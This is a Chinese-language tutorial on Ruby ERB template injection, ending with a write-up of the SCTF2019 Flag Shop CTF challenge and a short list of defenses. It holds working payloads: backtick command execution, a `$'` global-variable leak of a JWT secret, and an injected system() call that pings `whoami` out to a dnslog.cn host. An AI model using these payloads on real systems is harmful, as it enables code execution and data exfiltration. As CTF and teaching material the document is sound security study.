Ruby ERB模板注入深入解析与利用
1. ERB模板基础
ERB(Embedded Ruby)是Ruby自带的模板系统,允许在文本中嵌入Ruby代码:
<% 写逻辑脚本(Ruby语法) %>
<%= 直接输出变量值或运算结果 %>
基本使用示例:
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
2. 模板注入原理
当用户输入被直接拼接到ERB模板中时,可能导致代码执行:
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7 * 7 # 用户可控的输入
puts erb_object.result(binding())
3. 利用场景示例
3.1 文件读取
x = File.open('pwd.txt').read
3.2 方法枚举
x = self.methods
3.3 系统命令执行
x = `id` # 反引号执行系统命令
4. Ruby全局变量利用
Ruby提供了一系列全局变量,可用于信息泄露和绕过限制:
| 变量 | 描述 |
|---|---|
$! |
错误信息 |
$@ |
错误发生的位置 |
$0 |
正在执行的程序名称 |
$& |
成功匹配的字符串 |
$/ |
输入分隔符(默认为换行符) |
$\ |
输出记录分隔符 |
$. |
上次读取的文件的当前输入行号 |
$~ |
最后一次匹配数据 |
$' |
最后一次匹配后的内容 |
$+ |
最后一个括号匹配内容 |
$* |
命令行参数(ARGV) |
| ` |
\[` | Ruby进程号 | | `$?` | 最后执行的子进程状态 | | `$:` | 加载路径($LOAD_PATH) | | `$"` | 已加载的库 | | `$FILENAME` | 当前输入文件 | | `$stdin` | 标准输入 | | `$stdout` | 标准输出 | | `$stderr` | 标准错误输出 | | `ENV` | 环境变量 | ## 5. 实战案例解析 ### 5.1 案例背景 分析[SCTF2019]Flag Shop题目,关键代码位于`/filebak`路由: ```ruby get "/filebak" do content_type :text erb IO.binread __FILE__ end ``` ### 5.2 漏洞点分析 关键漏洞位于`/work`路由: ```ruby get "/work" do islogin auth = JWT.decode cookies[:auth], ENV["SECRET"], true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth, ENV["SECRET"], 'HS256' cookies[:auth] = auth ERB.new("").result end end ``` ### 5.3 利用方法一:全局变量注入 1. 利用`$'`全局变量获取SECRET: ``` /work?SECRET=&name=<%=$'%>&do=<%=$'%> is working ``` URL编码后: ``` /work?SECRET=&name=%3C%25%3D%24%27%25%3E&do=%3C%25%3D%24%27%25%3E%20is%20working ``` 2. 获取SECRET后,修改JWT中的jkl值并购买flag ### 5.4 利用方法二:参数类型差异 利用HTTP参数传递数组类型绕过长度限制: ```ruby /work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working ``` URL编码后: ``` /work?name[]=%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=%5B%22%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E%22%2C%20%221%22%2C%20%222%22%2C%20%223%22%2C%20%224%22%2C%20%225%22%2C%20%226%22%5D%20is%20working ``` ## 6. 防御措施 1. 避免直接将用户输入拼接到ERB模板中 2. 对用户输入进行严格的过滤和转义 3. 使用安全的模板渲染方法 4. 限制ERB的执行环境 5. 使用最小权限原则运行Ruby应用 ## 7. 总结 Ruby ERB模板注入是一种危险的漏洞,攻击者可以通过精心构造的输入执行任意Ruby代码。通过理解ERB的工作原理、Ruby全局变量的特性以及HTTP参数传递的类型差异,安全研究人员可以更好地识别和利用这类漏洞,同时也能够采取更有效的防御措施。\]